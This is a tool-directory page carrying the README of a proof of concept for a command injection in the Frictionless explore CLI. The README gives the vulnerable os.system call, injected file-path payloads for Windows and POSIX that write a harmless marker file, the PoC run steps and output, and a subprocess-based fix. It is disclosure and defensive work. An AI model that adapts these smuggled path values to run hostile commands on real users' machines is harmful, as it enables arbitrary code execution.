Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-93349-frictionless-command-injection — CVE-2026-93349 的概念验证,该漏洞是 Frictionless <= 5.20.0rc1 的 explore CLI 中通过恶意 Data Package 描述符路径导致的 OS 命令注入。 | Kitploit
工具/GitHubGitHub/saiteja-erukude/cve-2026-93349-frictionless-command-injection
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育
GitHubsaiteja-erukude/cve-2026-93349-frictionless-command-injection

CVE-2026-93349-frictionless-command-injection

CVE-2026-93349 的概念验证,该漏洞是 Frictionless <= 5.20.0rc1 的 explore CLI 中通过恶意 Data Package 描述符路径导致的 OS 命令注入。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
11天前尚未审核
分享

CVE-2026-93349:Frictionless <= 5.20.0rc1 explore 操作系统命令注入

严重性: 高,CVSS 3.1 8.8

向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

受影响: 所有 Frictionless 版本 <= 5.20.0rc1

组件: frictionless.console.commands.explore

CWE: CWE-78(操作系统命令注入),CWE-20(输入验证不当)

报告者: Sai Teja Erukude


摘要

Frictionless 版本至 5.20.0rc1 预发布版(含)在 frictionless explore CLI 命令中存在操作系统命令注入漏洞。

该命令加载用户提供的 Data Package 描述符,收集资源路径,推导 resource.normpath,将这些路径拼接为单个命令字符串,并将该字符串直接传递给 :

os.system
root@kitploit:~
paths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")

由于 resources[*].path 是来自 datapackage.json 的由描述符控制的元数据,攻击者可以在资源路径中包含 shell 元字符。当受害者对恶意描述符运行 frictionless explore 时,shell 会解释这些元字符并执行注入的命令。

影响

攻击者可以在运行 frictionless explore 的用户的安全上下文中执行任意命令。

这可能影响用户检查、验证或探索来自不受信任项目、归档、仓库或共享数据集的 Data Package 描述符的工作流程。

根据本地环境,这可能允许:

  • 读取或修改用户可访问的文件。
  • 访问环境变量和应用程序机密。
  • 运行本地程序或脚本。
  • 中断数据分析或自动化工作流程。

技术细节

存在漏洞的路径是 explore 命令:

root@kitploit:~
frictionless explore <package>
  -> Package.from_descriptor(...)
  -> Resource.list()
  -> resource.normpath
  -> os.system(f"vd {' '.join(paths)}")

PoC 生成一个 Data Package 描述符,其中 resources[0].path 包含一个无害的标记文件写入载荷。

在 Windows 上,生成的路径使用 & 命令分隔符:

root@kitploit:~
data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem

在 POSIX 系统上,生成的路径使用分号命令分隔符:

root@kitploit:~
data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #

运行器从已安装的包中调用真实的 frictionless explore 命令。它为子进程清空 PATH,以便预期的 vd 查看器不会以交互方式启动,但当 shell 解析构造的命令字符串时,注入的命令仍会执行。

概念验证

package_builder.py 创建攻击者控制的 Data Package 描述符和一个良性 CSV 文件。

run_poc.py 验证描述符,调用 frictionless explore,并打印执行证据。

仅在本地测试环境中运行:

root@kitploit:~
python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py

包含的 requirements.txt 固定了 frictionless==5.20.0rc1,这是此范围内最新确认存在漏洞的预发布版。

在存在漏洞的版本上的预期证据:

root@kitploit:~
frictionless_version        : 5.20.0rc1
installed_package           : True
descriptor_valid            : True
listed_resource_count       : 1
raw_path_contains_payload   : True
normpath_contains_payload   : True
explore_returncode          : 0
viewer_launch_disabled      : True
marker_exists               : True
marker_contents
frictionless_explore_command_injection_triggered
success                     : True

重要的证据是恶意描述符有效,由描述符控制的路径保留到 resource.normpath 中,并且在 frictionless explore 运行后创建了 marker.txt。

该载荷故意设计为无害。它仅写入此本地标记字符串:

root@kitploit:~
frictionless_explore_command_injection_triggered

它不会生成 shell 会话、连接网络服务、读取机密、删除数据或修改 PoC 目录之外的文件。

修复

避免将描述符控制的路径传递给 shell。

将基于 shell 的调用替换为使用参数向量的 subprocess.run:

root@kitploit:~
subprocess.run(["vd", *paths], check=False)

这会将每个资源路径作为字面参数传递给 vd。路径中的 shell 元字符在该单个 argv 条目中仍为普通字符,不会被解释执行。

将特定路径字符列入黑名单的做法较弱,因为 shell 语法因平台和 shell 而异。命令调用边界是根本原因,因此持久的修复应避免 shell 解释。

有关建议的补丁,请参见 fix.md。

致谢

由 Sai Teja Erukude 发现并报告,通过 VulnCheck 协调。

参考

  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93349
  • 上游修复 PR:https://github.com/frictionlessdata/frictionless-py/pull/1820
  • Frictionless 仓库:https://github.com/frictionlessdata/frictionless-py
  • CWE-78:https://cwe.mitre.org/data/definitions/78.html
  • CWE-20:https://cwe.mitre.org/data/definitions/20.html
  • 本地演练:exploit_walkthrough.md
  • 建议修复:fix.md
下载工具